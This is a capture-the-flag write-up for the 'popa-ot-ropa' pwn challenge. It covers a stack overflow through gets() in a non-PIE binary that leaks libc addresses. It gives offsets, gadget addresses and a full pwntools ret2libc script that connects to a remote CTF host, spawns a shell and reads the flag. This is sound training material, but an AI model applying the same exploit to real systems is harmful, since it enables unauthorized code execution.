popa-ot-ropa (Mic Check 10)
popa-ot-ropa (Mic Check 10)
Platform: pwn_spbctf | Category: pwn | Type: Challenge | Difficulty: Easy | OS: Linux | Author: XESXOR | Date: 2026-06-18 | Status: Solved Techniques: gets_stack_overflow, libc_base_leak_from_maps, movaps_stack_alignment, pop_rax_to_rdi_gadget, ret2libc
Summary
Task: NON-PIE x86-64 ELF that dumps /proc/$PPID/maps at startup (leaking libc base) then does an unbounded gets() into a stack buffer. Solution: classic ret2libc — parse libc base from the leaked maps, overflow at offset 0x48, and use the in-binary 'pop rax; mov rdi, rax; ret' gadget plus a leading ret for movaps alignment to call system('/bin/sh').
popa-ot-ropa (Mic Check 10) — pwn_spbctf
Description
В программе не хватает функционала. А добавьте свой в виде RCE!
(English: "The program lacks functionality. Add your own as RCE!")
- File:
popa_ot_ropa.elf, category Pwn ("Mic Check 10") - Remote:
nc 109.233.56.90 11673, platformpwn.spbctf.ru, author Lex (@b1n4r9) - Provided libc:
libc-2.31.so(Debian glibc 2.31-3, md574f2d3062180572fc8bcd964b587eeae)
Goal: get RCE and read the flag from the remote box.
Analysis
Binary protections: 64-bit x86-64 ELF, NON-PIE (load base 0x400000), NX, no stack canary, Partial RELRO. NON-PIE means all binary gadget addresses are fixed.
Three relevant functions:
show_memory()@0x401152— runssystem("cat /proc/$PPID/maps")at startup. This prints the parent process memory map, which contains thelibc-2.31.somapping. The start address of that mapping is the libc base — a free leak every run (works regardless of ASLR; just parse the dump each connection).main()@0x40117d— prints"I have no useful functionality..."then callsgets(buf)wherebufis atrbp-0x40.getsis unbounded → classic stack buffer overflow. Offset frombufto the saved return address is0x40 + 8 = 0x48.g_pop_rax()@0x4011b3— a deliberately provided gadget:pop rax ; mov rdi, rax ; ret. It loads a value from the stack intorax, copies it tordi, and returns. This is the argument-setup primitive (there is no plainpop rdi; ret).
So we have everything for a textbook ret2libc:
- libc base leak (the maps dump),
- a controllable
getsoverflow, - a gadget to control
rdi.
Solution
From the provided Debian glibc 2.31-3:
system= base +0x48f20/bin/sh= base +0x18a156
Payload layout (after 0x48 bytes of padding):
ret (0x401016) <- 16-byte stack alignment for movaps inside system()
g_pop_rax (0x4011b3) <- pop rax = binsh ; mov rdi, rax ; ret
&"/bin/sh" <- popped into rax, then into rdi
system <- called with rdi = "/bin/sh"
The leading bare ret realigns the stack to a 16-byte boundary so that the movaps instructions inside system()/do_system() do not segfault — the standard alignment fix for glibc ret2libc on x86-64.
Solve script (exp_popa.py)
python read-only • copy allowed#!/usr/bin/env python3 from pwn import * context.arch='amd64'; context.log_level='info' HOST,PORT='109.233.56.90',11673 libc=ELF('popa_libc-2.31.so') # Debian glibc 2.31-3 POP_RAX=0x4011b3 # pop rax; mov rdi,rax; ret (in-binary, NON-PIE) RET=0x401016 io=remote(HOST,PORT) d=io.recvuntil(b'add your own',timeout=8) base=None for line in d.split(b'\n'): if b'libc-2.31.so' in line and line.split(b'-')[0].strip(): base=int(line.split(b'-')[0],16); break io.recvline() system=base+libc.sym['system'] binsh=base+next(libc.search(b'/bin/sh\x00')) log.success("base %#x system %#x binsh %#x"%(base,system,binsh)) # gets(buf rbp-0x40) overflow -> ret offset 0x48 payload=b'A'*0x48 + flat(RET, POP_RAX, binsh, system) io.sendline(payload) import time; time.sleep(0.8) io.sendline(b'cat /flag* 2>/dev/null; cat flag* 2>/dev/null; id') time.sleep(1) print(io.recvrepeat(2).decode(errors='replace'))
After the shell pops (running as uid=6 man), cat /flag* / cat flag* yields the flag.